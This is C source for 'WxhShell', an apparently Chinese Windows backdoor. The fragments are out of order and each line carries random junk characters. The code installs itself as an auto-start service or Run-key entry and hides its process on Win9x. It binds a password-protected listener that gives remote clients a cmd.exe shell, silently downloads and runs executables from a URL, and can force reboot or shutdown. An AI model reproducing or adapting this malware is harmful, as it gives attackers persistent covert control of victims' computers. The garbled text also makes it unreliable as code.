    if(Boot(SHUTDOWN)) Kwc~\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tyc`U&  
    else { V\C$/8v  
    closesocket(wsh); Y!M&8;>  
    ExitThread(0); e!+_U C  
    } Hzd tR  
    break; #;l~Y}7'  
    } 9d4Agj M  
  // 获取shell *|Cmm>z"7  
  case 's': { :?LUv:G  
    CmdShell(wsh); Ne6]?\Z  
    closesocket(wsh); !1g2'  
    ExitThread(0); <,r(^Ntz  
    break; G}MJWf Hl  
  } r-Nv<oH;  
  // 退出 F=/@D)hND  
  case 'x': { lwY2zX&%)/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bf9LR1  
    CloseIt(wsh); ]`p*ZTr)\  
    break; eiiI Wr_7  
    } `%PU_;Y5Q  
  // 离开  >^<%9{  
  case 'q': { =Zg%& J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]!v:xjzT  
    closesocket(wsh); z?9vbx  
    WSACleanup(); 5*Wo/%#q  
    exit(1); r`t|}m  
    break; q4'Vb  
        } X>0$zE@0  
  }  L=Pz0  
  } nhbCk6Y5LZ  
=TTk5(m  
  // 提示信息 nPAVrDg O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IWRo$Yu  
} F@+FXnz  
  } > 4c7r~\k  
YlF<S49loC  
  return; e:&+m`OSH  
} FCk4[qOp7  
}"V$li  
// shell模块句柄 |oYqkP|  
int CmdShell(SOCKET sock) &zGf`Zi6*%  
{ qUZm6)p6[a  
STARTUPINFO si; 2}NWFM3C  
ZeroMemory(&si,sizeof(si)); ZSB_OS[N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }D/O cp~o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CG`s@5y>5  
PROCESS_INFORMATION ProcessInfo; R{GT? wl  
char cmdline[]="cmd"; X^2Txm d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AK7IPftlH  
  return 0; V*$(Tt(  
} m'L7K K-Y)  
CY"iP,nHl  
// 自身启动模式 & o2F4  
int StartFromService(void) O%w"bEr)N  
{ l'pu?TP{a  
typedef struct Lq-Di|6q  
{ c h_1 -  
  DWORD ExitStatus; li U=&wM>  
  DWORD PebBaseAddress; =p1aF/1$I  
  DWORD AffinityMask; zF%'~S0{  
  DWORD BasePriority; Ql%0%naq1  
  ULONG UniqueProcessId; h{$mL#J  
  ULONG InheritedFromUniqueProcessId; Vy+%sG q"  
}   PROCESS_BASIC_INFORMATION; 4 ^=qc99  
|GDf<\  
PROCNTQSIP NtQueryInformationProcess; yq?7!X  
R%(ww  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JTK0#+?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rO_|_nV[  
r`; "  
  HANDLE             hProcess; 01/?  
  PROCESS_BASIC_INFORMATION pbi; 4yk!T  
o(2tRDT\_b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FXAP]iqo  
  if(NULL == hInst ) return 0; BIFuQ?j3  
-w0U }Te^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ))pp{X2m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mt0ZD}E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yf KJpy  
g^CAT1}  
  if (!NtQueryInformationProcess) return 0; S$=e %c  
!<ae~#]3 P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); isdEs k#A.  
  if(!hProcess) return 0; Z[(V0/[]  
kpe7\nd=>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d%"?^e  
:;wb{q$O  
  CloseHandle(hProcess); !Q`vOVSUD  
z_Nw%V4kr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qkM<t?uS  
if(hProcess==NULL) return 0; k Xs&k8  
bIX'|=  
HMODULE hMod; 6{XdLI  
char procName[255]; l~Em2@c  
unsigned long cbNeeded; ]<V,5'xh  
,%|$# g 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r N"P IH  
1j_x51p  
  CloseHandle(hProcess); rm-6Az V  
^G(/;c*=  
if(strstr(procName,"services")) return 1; // 以服务启动 97$1na3gq  
#WOb&h  
  return 0; // 注册表启动 7c:5 Ey  
} jq4'=L$4  
\Oku<5  
// 主模块 ]^>#?yEA3  
int StartWxhshell(LPSTR lpCmdLine) efK)6T^p  
{ @.4e^Km  
  SOCKET wsl; L4)@lmd3  
BOOL val=TRUE; 5]Wkk~a  
  int port=0; +2}aCoL\  
  struct sockaddr_in door; 2MN AY%iT  
0(uNFyIG  
  if(wscfg.ws_autoins) Install(); x J;DkPh  
d/Sx+1 "{T  
port=atoi(lpCmdLine); W|go*+`W%  
t`"]"Re  
if(port<=0) port=wscfg.ws_port; v{R:F  
jh3LD6|s}  
  WSADATA data; `7;I*|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D]I]I!2c  
 IX|2yu4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Z@+ |&@L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vFKt=o$ g  
  door.sin_family = AF_INET; .kBZ(`K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F-=W7 D:[c  
  door.sin_port = htons(port); IT`r&;5  
%cDTy]ILu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )N) "O? W9  
closesocket(wsl); I+) Acy;  
return 1; E&?z-,-o@  
} ozs xqN  
kUl:Yj=&  
  if(listen(wsl,2) == INVALID_SOCKET) { (I?CW~3#  
closesocket(wsl); b,?@_*qv+  
return 1; hBSci|*f  
} Lv;R8^n  
  Wxhshell(wsl); ` "Gd/  
  WSACleanup(); V9v80e {n4  
t^|+|>S  
return 0; ]-6=+\]   
qR W WG&  
} lgxG:zAC  
S?Y,sl+A:  
// 以NT服务方式启动 ~%6GF57gC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q%xvS,oI  
{ $/sQatic  
DWORD   status = 0; "}"Bvp^  
  DWORD   specificError = 0xfffffff;  TP6iSF  
29 +p|n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (_}w4N#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N Fc@Kz<H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H8>u:  
  serviceStatus.dwWin32ExitCode     = 0; EDm,Y  
  serviceStatus.dwServiceSpecificExitCode = 0; kEM5eY  
  serviceStatus.dwCheckPoint       = 0; /Z:\=0`  
  serviceStatus.dwWaitHint       = 0; G/F0 )M  
}&Eb {'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4= VAJ  
  if (hServiceStatusHandle==0) return; !l7eB@O  
_084GK9{W  
status = GetLastError(); [Z3B~c  
  if (status!=NO_ERROR) YN\!I  
{ rb+&]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2:(h17So  
    serviceStatus.dwCheckPoint       = 0; JRMe( ,u  
    serviceStatus.dwWaitHint       = 0; B}= WxG|)  
    serviceStatus.dwWin32ExitCode     = status; y<|vcg8x  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9zj^\-FA_l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]jUxL=]r  
    return; LL~bq(b  
  } r?e)2l~C8j  
a@&^t(1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * /S=9n0  
  serviceStatus.dwCheckPoint       = 0; ,0^:q)_  
  serviceStatus.dwWaitHint       = 0; Td&w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^]He]FW':G  
} R@=Bk(h  
^cYm.EHI  
// 处理NT服务事件,比如:启动、停止 ~E2xIhV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) giy4<  
{ Pg3O )D9  
switch(fdwControl) fP41 B  
{ bg\~"  
case SERVICE_CONTROL_STOP: *o8DfZ  
  serviceStatus.dwWin32ExitCode = 0; mWUo:(U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zt1Pu /e  
  serviceStatus.dwCheckPoint   = 0; O87Ptr8  
  serviceStatus.dwWaitHint     = 0; c k=  
  { mQQ5>0^m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QdM&M^  
  } pN+lC[C  
  return; /aepE~T  
case SERVICE_CONTROL_PAUSE: l<7)uO^8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tUXq!r<'dT  
  break; 7` ^]:t  
case SERVICE_CONTROL_CONTINUE: U>^u!1X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N?d4Pu1m  
  break; kRBPl9 9  
case SERVICE_CONTROL_INTERROGATE: nw3CI&Y`  
  break; [XA  f=x  
}; tqY)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '1{#I/P;  
} ni#!Gxw  
z}'*zB>  
// 标准应用程序主函数 ER:)Fk>_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4Fr0/="H  
{ &e\A v.n@-  
$7{V+>  
// 获取操作系统版本 {1^9*  
OsIsNt=GetOsVer(); u$c)B<.UR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s)q;{wz  
<~BheGmmy  
  // 从命令行安装 {`0GAW)q  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ly?yW S-x  
/? n 9c;w  
  // 下载执行文件 @0`Q  
if(wscfg.ws_downexe) { 2M>Y3Q2Yv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7d0E9t;W  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zy2@1-z6  
} Dm': D  
SSANt?\Z<  
if(!OsIsNt) { w, u`06  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aj06"ep  
HideProc(); 28L3"c  
StartWxhshell(lpCmdLine); PjEKZHHz  
} ]XEkQ  
else &Y2mLPB  
  if(StartFromService()) GI}h )T  
  // 以服务方式启动 z T|]!',  
  StartServiceCtrlDispatcher(DispatchTable); .'Vjs2 2  
else XDvT#(Pu  
  // 普通方式启动 C[$uf  
  StartWxhshell(lpCmdLine); )1H$5h  
kI974:e42  
return 0; YX+Da"\  
} /8baJ+D"4\  
S8+Xk= x  
CCJ!;d;&87  
/#?lG`'1  
=========================================== QKYGeT7&Y'  
9k_3=KS3N  
tk5Bb`a  
OiAi{ 71  
w$*t.Q*  
=R)9_D6I  
" y 1fl=i  
zV {[0s  
#include <stdio.h> )B@veso{  
#include <string.h> rvRtR/*?j  
#include <windows.h> 372ewh3'  
#include <winsock2.h> jyPY]r  
#include <winsvc.h> h3.wR]ut  
#include <urlmon.h> { #CyO b4  
K /h9x9^  
#pragma comment (lib, "Ws2_32.lib") jp2AU,Cl  
#pragma comment (lib, "urlmon.lib") Ue|]M36  
]@bo;.  
#define MAX_USER   100 // 最大客户端连接数 jcF/5u5e  
#define BUF_SOCK   200 // sock buffer w U.K+4-k  
#define KEY_BUFF   255 // 输入 buffer 4NxtU/5-sU  
@p jah(i`  
#define REBOOT     0   // 重启 7SE=otZ>  
#define SHUTDOWN   1   // 关机 7>EjP&l  
k*\=IacX0  
#define DEF_PORT   5000 // 监听端口 E)%]?/w  
&*Eyw s  
#define REG_LEN     16   // 注册表键长度 W`] ,  
#define SVC_LEN     80   // NT服务名长度 'sI=*c  
d [z+/L  
// 从dll定义API T"-HBwl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @W|}|V5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HUurDgRi]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @Nb&f<+gi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { hUbK+dKZ  
OL*EY:]  
// wxhshell配置信息 fRJSo%  
struct WSCFG { s%`o  
  int ws_port;         // 监听端口 8}m] XO  
  char ws_passstr[REG_LEN]; // 口令 GE=#8-@g~p  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^I9x@t  
  char ws_regname[REG_LEN]; // 注册表键名 P-ma~g>I  
  char ws_svcname[REG_LEN]; // 服务名 :NHh`@0F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '3eP<earRP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MId\ dFu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u2'xM0nQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  5I5~GH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]SpUD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kEWC  
xmZ]mu,,$  
}; D!TL~3d 1  
s]0x^"#B  
// default Wxhshell configuration c]O3pcU  
struct WSCFG wscfg={DEF_PORT, Y;S+2])R2  
    "xuhuanlingzhe", PL<q|y  
    1, *nDyB. (  
    "Wxhshell", "2(4?P  
    "Wxhshell", Y+ P\5G  
            "WxhShell Service", r: n^U#  
    "Wrsky Windows CmdShell Service", 6R5) &L  
    "Please Input Your Password: ", ]t]s/;9]K  
  1, N. 3 x[%:  
  "http://www.wrsky.com/wxhshell.exe", z (rQ6  
  "Wxhshell.exe" YD$fN"}-  
    }; ;7&RmIXKh'  
~^=QBwDW8N  
// 消息定义模块 4`)B@<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t)XNS!6#]?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?f[#O&#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j&) +qTV  
char *msg_ws_ext="\n\rExit."; [-_u{j  
char *msg_ws_end="\n\rQuit."; m6QlIdl  
char *msg_ws_boot="\n\rReboot..."; yL&F!+(/Ix  
char *msg_ws_poff="\n\rShutdown..."; 6w<jg/5t  
char *msg_ws_down="\n\rSave to "; NMmk,  
_QfA'32S  
char *msg_ws_err="\n\rErr!";  Aki8#  
char *msg_ws_ok="\n\rOK!";  {[o=df/  
xlkEW&N&  
char ExeFile[MAX_PATH]; ^ _KHw  
int nUser = 0; -gH1`*YL  
HANDLE handles[MAX_USER]; %1a\"F![  
int OsIsNt; hf>JW[>Xo  
n_sCZ6uXEQ  
SERVICE_STATUS       serviceStatus; @v_ )(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; draY /  
mYXe0E#6  
// 函数声明 Lllyx20U  
int Install(void); PMjqcdBzm  
int Uninstall(void); fZH:&EP  
int DownloadFile(char *sURL, SOCKET wsh); F)) +a&O  
int Boot(int flag); K[PIw}V$?:  
void HideProc(void); e?3 S0}  
int GetOsVer(void); D#508{)  
int Wxhshell(SOCKET wsl); $/nU0W  
void TalkWithClient(void *cs); B|gyr4]  
int CmdShell(SOCKET sock); %O>ehIerD  
int StartFromService(void); #0"Fw$Pc  
int StartWxhshell(LPSTR lpCmdLine); _kl.zw%  
[Hy0j*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y<%$;fx$Sx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i1ur>4Ns  
" GkBX  
// 数据结构和表定义 phwk0J]2  
SERVICE_TABLE_ENTRY DispatchTable[] = T?:Vw laE  
{ "zL<:TQ"  
{wscfg.ws_svcname, NTServiceMain}, 2#ND(  
{NULL, NULL} B. 6gJ2c  
}; Xa\{WM==;  
HlgF%\@a+U  
// 自我安装 4StiYfae  
int Install(void) |Spy |,/  
{ DY'D]*'7$  
  char svExeFile[MAX_PATH]; ,ClGa2O  
  HKEY key; >7B6iR6N  
  strcpy(svExeFile,ExeFile); su>GeJiPW  
5Q,#Co  
// 如果是win9x系统,修改注册表设为自启动 w_q{C>- cR  
if(!OsIsNt) { _n@#Lufx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J7/"8S_#N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /=A^@&:_#  
  RegCloseKey(key); 6pM[.:TM   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R8Nr3M9 )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _dVzvk`_R  
  RegCloseKey(key); ?d0I*bs)7  
  return 0; +DaP XZ5.  
    } %fnL  
  }  v4=9T<[  
} 3|8\,fO?  
else { Z\D!'FX  
LJ`*&J   
// 如果是NT以上系统,安装为系统服务 R2yiExw<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9lNO ~8  
if (schSCManager!=0) \ " {+J  
{ k?3NF:Yy7  
  SC_HANDLE schService = CreateService vdAaqM6D  
  ( ob05:D_bc9  
  schSCManager, n.n;'p9t@  
  wscfg.ws_svcname, 0#0[E,  
  wscfg.ws_svcdisp, 2Kovvh y#  
  SERVICE_ALL_ACCESS, (4o_\&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wP8Wx~Q=  
  SERVICE_AUTO_START, 4\a KC%5  
  SERVICE_ERROR_NORMAL, 4UT %z}[!  
  svExeFile, sxinA8  
  NULL, r) ;U zd  
  NULL, <R582$( I  
  NULL, {Y6U%HG{{r  
  NULL, WM$}1:O  
  NULL -61{ MMiA  
  ); _TY9!:&}q  
  if (schService!=0) {D J!T  
  { \]dx;,T  
  CloseServiceHandle(schService); S\b[Bq  
  CloseServiceHandle(schSCManager); CtJ*:wF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tSran  
  strcat(svExeFile,wscfg.ws_svcname); 9`]Gosz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~VYZu=p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cw|3W]  
  RegCloseKey(key); {z> fe }  
  return 0; S#_g/3w  
    } ;NQ9A &$)  
  } 9z6-HZG'~<  
  CloseServiceHandle(schSCManager);  u:JD  
} T1 >xw4uo  
} ?XN=Er^  
8'[g?  
return 1; }5 ^2g!M  
} gpDH_!K  
L"{qF<@V7&  
// 自我卸载 4v9jGwnzt  
int Uninstall(void) kk#%x#L[  
{ R?Zv  
  HKEY key; EK`}?>'  
KK$t3e)  
if(!OsIsNt) { ea[vzD]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + 2 v6fan  
  RegDeleteValue(key,wscfg.ws_regname); 15dhr]8E  
  RegCloseKey(key); Yci>'$tQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sh;DCd  
  RegDeleteValue(key,wscfg.ws_regname); _W]R|kYl$'  
  RegCloseKey(key); |`vwykhezO  
  return 0; 7niZ`doBA  
  } >L[n4x\  
} 3}R}|Ha J#  
} 36"-cGNr{  
else { S"hA@j  
)tYu3*'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); " E+V >V+  
if (schSCManager!=0) Cge@A'2  
{ VF[$hs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -([ ipg(r  
  if (schService!=0) ~ +DPq|-O  
  { j"=F\S&!  
  if(DeleteService(schService)!=0) { mbT4K8<^  
  CloseServiceHandle(schService); XzLB#0  
  CloseServiceHandle(schSCManager); &?X0;,5)  
  return 0; 1%Hc/N-  
  } jHjap:i`cI  
  CloseServiceHandle(schService); Nl/^ga  
  } @cYb37)q=  
  CloseServiceHandle(schSCManager); W D8  
} j=|cx+nb  
} MX Qua:&HW  
wNc.z*+O"H  
return 1; $O nh2 ^  
} iW u  
>s dT=6v  
// 从指定url下载文件 V'b$P2 ?^  
int DownloadFile(char *sURL, SOCKET wsh) >^Rkk {cc  
{ 5<64 C}fE3  
  HRESULT hr; w{F{7X$^  
char seps[]= "/"; |ppG*ee  
char *token; "06t"u<%  
char *file; I;xSd.-  
char myURL[MAX_PATH]; {:=sCY!  
char myFILE[MAX_PATH]; IQZ/8UwB  
o6bT.{8\  
strcpy(myURL,sURL); }jE [vVlRw  
  token=strtok(myURL,seps); OHRkhwF.  
  while(token!=NULL) d{/#A%.  
  { !ZxK+Xqx[  
    file=token; M02 U,!di  
  token=strtok(NULL,seps); Q Ev7k  
  } $'*q]]  
B^;"<2b*  
GetCurrentDirectory(MAX_PATH,myFILE); f4'WT  
strcat(myFILE, "\\"); &|9K~#LVS  
strcat(myFILE, file); a gk w)#  
  send(wsh,myFILE,strlen(myFILE),0); KBC?SxJSJc  
send(wsh,"...",3,0); trx y3k;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Vre" 6U  
  if(hr==S_OK) q4MR9ig1E_  
return 0; {,NF'x4$  
else [?>\]  
return 1; &&PXWR!%]  
lcVZ 32MQ  
} uH{oJSrK  
%eOO8^N  
// 系统电源模块 gOy;6\/  
int Boot(int flag) l+nT$IPF  
{ }G/!9Zq  
  HANDLE hToken; *Jwx,wF}4  
  TOKEN_PRIVILEGES tkp; ldFR%v> 9  
zgNzdO/B  
  if(OsIsNt) { =;Q:z^S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3xIelTf*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Z@0XI  
    tkp.PrivilegeCount = 1; )L/0X40<.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;kD UQw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \>$3'i=mQ  
if(flag==REBOOT) { rP{Jep!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P,J+'.@  
  return 0; Y_zMj`HE  
} xovsh\s  
else { [$X^r<|P@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (S~kNbIa  
  return 0; }]i.z:7+  
} FG!2h&k  
  } nEt{ltsS0  
  else { ;Zm-B]\  
if(flag==REBOOT) { h6b(FTC^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H)k V8wU  
  return 0; QHXA?nBX  
} d{J@A;d a  
else { m'zve%G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [XE\2Qa8e  
  return 0; p'`?CJq8  
} hmkm^2  
} s(T0lul  
!,|-{":  
return 1; eo*l^7  
} 72CHyl`|l  
mBeP" GS  
// win9x进程隐藏模块 t"s$YB>}  
void HideProc(void) 9:E:3%%  
{ xtBu]I)%  
?W>`skQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }K^v Ujl  
  if ( hKernel != NULL ) IeZ9 "o h  
  { lc8g$Xw3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %*NED zy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -7KoR}Ck!  
    FreeLibrary(hKernel); .?vHoNvo  
  } 8y']kVg  
-UM|u_  
return; zpD?5  
} k Nvb>v  
bcq&yL'D  
// 获取操作系统版本 7YxVtN  
int GetOsVer(void) 8_VGB0~3i  
{ '&+]85_&$  
  OSVERSIONINFO winfo; x2sKj"2?@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5T%2al,F`  
  GetVersionEx(&winfo); !w}b}+]GB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;W T<]  
  return 1; f^-ot@w  
  else ;F|#m,2Q-  
  return 0; riL|B 3  
} KL6B!B{;  
2!6E~<~HC  
// 客户端句柄模块 d>?C?F  
int Wxhshell(SOCKET wsl) 9Fy 'L#%  
{ le' Kp V  
  SOCKET wsh; OwT_W)$  
  struct sockaddr_in client; A=0{}B#  
  DWORD myID; Y7zs)W8xTT  
l$Vy\CfK3n  
  while(nUser<MAX_USER) xL*J9&~iG  
{ >$tU @mq  
  int nSize=sizeof(client); !Rc %  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cQ]c!G|a4  
  if(wsh==INVALID_SOCKET) return 1; k'_f?_PBu  
h% KEg667  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aAbA)'G  
if(handles[nUser]==0) ,]@K,|pC)  
  closesocket(wsh); t7xJ$^p[|K  
else D>8p: ^3g  
  nUser++; .*f 6n|  
  } BT&R:_:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HUMy\u84H  
gV-*z}`U  
  return 0; q1q 9W@H  
} gs3c1Qa3b  
pSbtm74  
// 关闭 socket fgs@oaoZ  
void CloseIt(SOCKET wsh) o5j6(`#;  
{ PZQAlO,  
closesocket(wsh); ^.R!sQ  
nUser--; eKy!Pai  
ExitThread(0); -b iE  
} O_qwD6s-_  
h=S7Z:IaM  
// 客户端请求句柄 W+GC3W   
void TalkWithClient(void *cs) Vz$xV!  
{ ,p3]`MG  
X4 ] miUmh  
  SOCKET wsh=(SOCKET)cs; eAo+w*D(  
  char pwd[SVC_LEN]; m94PFD@N  
  char cmd[KEY_BUFF]; Q=8YAiCu  
char chr[1]; bf@g*~h@  
int i,j; 78{9@\e"0  
4BUG\~eI3  
  while (nUser < MAX_USER) { ?Wz2J3A.2t  
2GORGS%  
if(wscfg.ws_passstr) { Lu {/"&)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G^tazAEfo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :'B(DzUR  
  //ZeroMemory(pwd,KEY_BUFF); SzIzQR93&  
      i=0; :Fm*WqZu  
  while(i<SVC_LEN) { > SLQW  
_}Qtx/Cg  
  // 设置超时 >O<a9wz  
  fd_set FdRead; l;KrFJ6  
  struct timeval TimeOut; } A+ncabm  
  FD_ZERO(&FdRead); aPzn4}~/_  
  FD_SET(wsh,&FdRead); JH{/0x#+  
  TimeOut.tv_sec=8; QmjE\TcK/  
  TimeOut.tv_usec=0; |,@D <  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .SjJG67OyA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <!g]q1  
y~\ujp_5w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )2RRa^=&  
  pwd=chr[0]; haBmwq(f  
  if(chr[0]==0xd || chr[0]==0xa) { FJDC^@Ne  
  pwd=0; < #ON  
  break; >zqaV@T  
  }  t1 YB  
  i++; ]y6 {um8"  
    } #%Bt!#  
']TWWwj$  
  // 如果是非法用户,关闭 socket Bkd$'7UT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >U,&V%y  
} 8 7(t<3V&  
Sc]K-]1(H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m{Vd3{H40  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nf^?X`g  
\KnRQtlI  
while(1) { k7Bh[ ..!  
ppRmC,0f^  
  ZeroMemory(cmd,KEY_BUFF); @Suz-j(H  
9tJ0O5  
      // 自动支持客户端 telnet标准   .*x:  
  j=0; /Ne#{*z)hO  
  while(j<KEY_BUFF) { 9 Gd6/2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cu8mNB{H  
  cmd[j]=chr[0]; YK)m6zW5  
  if(chr[0]==0xa || chr[0]==0xd) { uVUU1@  
  cmd[j]=0; $KYGQP  
  break; U;#KFZ+~  
  } c'i5,\ #X  
  j++; sNDo@u7  
    } 5P\>$N1p  
w\acgQ^%e  
  // 下载文件 7. <jdp  
  if(strstr(cmd,"http://")) { a2B71RT~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q13fmK(n-5  
  if(DownloadFile(cmd,wsh)) -*' ?D@l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4>=M"D hB  
  else _ l|%~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~D9Cu>d9  
  } 2{&A)Z!I  
  else { K khuPBd2  
bFX{|&tHU  
    switch(cmd[0]) { KkZx6A)$u  
